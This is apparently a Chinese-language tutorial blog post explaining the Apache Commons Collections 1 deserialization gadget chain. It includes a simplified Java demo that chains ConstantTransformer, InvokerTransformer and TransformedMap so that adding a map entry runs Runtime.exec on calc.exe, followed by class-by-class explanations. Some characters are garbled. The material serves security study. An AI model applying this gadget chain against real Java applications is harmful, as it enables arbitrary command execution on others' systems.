給個關注?寶兒!
給個關注?寶兒!
給個關注?寶兒!
目錄
眾所周知,CommonCollections利?鏈是作為反序列化學習不可繞i過的一關
圖解
先掛一張wh1te8ea的利用鏈圖解,非常直觀!
代碼demo
分析:
代碼使用了phith0n大佬的代碼,對原本復雜的源碼進行了優化,適合復現以及更加深刻理解
demo代碼:
package test.org.vulhub.Ser;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;public class CommonCollections1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"C:\\WINDOWS\\system32\\calc.exe"}),};Transformer transformerChain = newChainedTransformer(transformers);Map innerMap = new HashMap();Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);outerMap.put("test", "xxxx");}
}
exec執行命令:C:\WINDOWS\system32\calc.exe
運行后計算機彈出
涉及的接口與類:
TransformedMap
TransformedMap?于對Java標準數據結構Map做?個修飾,被修飾過的Map在添加新的元素時,將可
以執??個回調。我們通過下?這?代碼對innerMap進?修飾,傳出的outerMap即是修飾后的Map:
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
valueTransformer);
其中,keyTransformer是處理新元素的Key的回調,valueTransformer是處理新元素的value的回調。
我們這?所說的”回調“,并不是傳統意義上的?個回調函數,?是?個實現了Transformer接?的類。
Transformer
Transformer是?個接?,它只有?個待實現的?法:
public interface Transformer {public Object transform(Object input);
}
TransformedMap在轉換Map的新元素時,就會調?transform?法,這個過程就類似在調??個”回調
函數“,這個回調的參數是原始對象。
ConstantTransformer
ConstantTransformer是實現了Transformer接?的?個類,它的過程就是在構造函數的時候傳??個
對象,并在transform?法將這個對象再返回:
public ConstantTransformer(Object constantToReturn) {super();iConstant = constantToReturn; }
public Object transform(Object input) {return iConstant; }
所以他的作?其實就是包裝任意?個對象,在執?回調時返回這個對象,進??便后續操作。
InvokerTransformer
InvokerTransformer是實現了Transformer接?的?個類,這個類可以?來執?任意?法,這也是反序
列化能執?任意代碼的關鍵。
在實例化這個InvokerTransformer時,需要傳?三個參數,第?個參數是待執?的?法名,第?個參數
是這個函數的參數列表的參數類型,第三個參數是傳給這個函數的參數列表:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[]
args) {super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;}
后?的回調transform?法,就是執?了input對象的iMethodName?法:
public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}
}
ChainedTransformer
ChainedTransformer也是實現了Transformer接?的?個類,它的作?是將內部的多個Transformer串
在?起。通俗來說就是,前?個回調返回的結果,作為后?個回調的參數傳?,我們畫?個圖做示意:
它的代碼也?較簡單:
public ChainedTransformer(Transformer[] transformers) {super();iTransformers = transformers; }
public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object; }
dome理解
我創建了?個ChainedTransformer,其中包含兩個Transformer:第?個是ConstantTransformer,
直接返回當前環境的Runtime對象;第?個是InvokerTransformer,執?Runtime對象的exec?法,參
數是 C:\WINDOWS\system32\calc.exe
當然,這個transformerChain只是?系列回調,我們需要?其來包裝innerMap,使?的前?說到的
TransformedMap.decorate :
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
最后,怎么觸發回調呢?就是向Map中放??個新的元素:
outerMap.put("test", "xxxx"); 1
總結:
簡化的demo給?家演示了CommonCollections利?鏈的執?流程,?且我
特地去掉了和反射相關的代碼,所以?家可以看到本節demo中并沒有涉及到反射相關的內容
實戰的反序列化漏洞利用poc構造,放在下一篇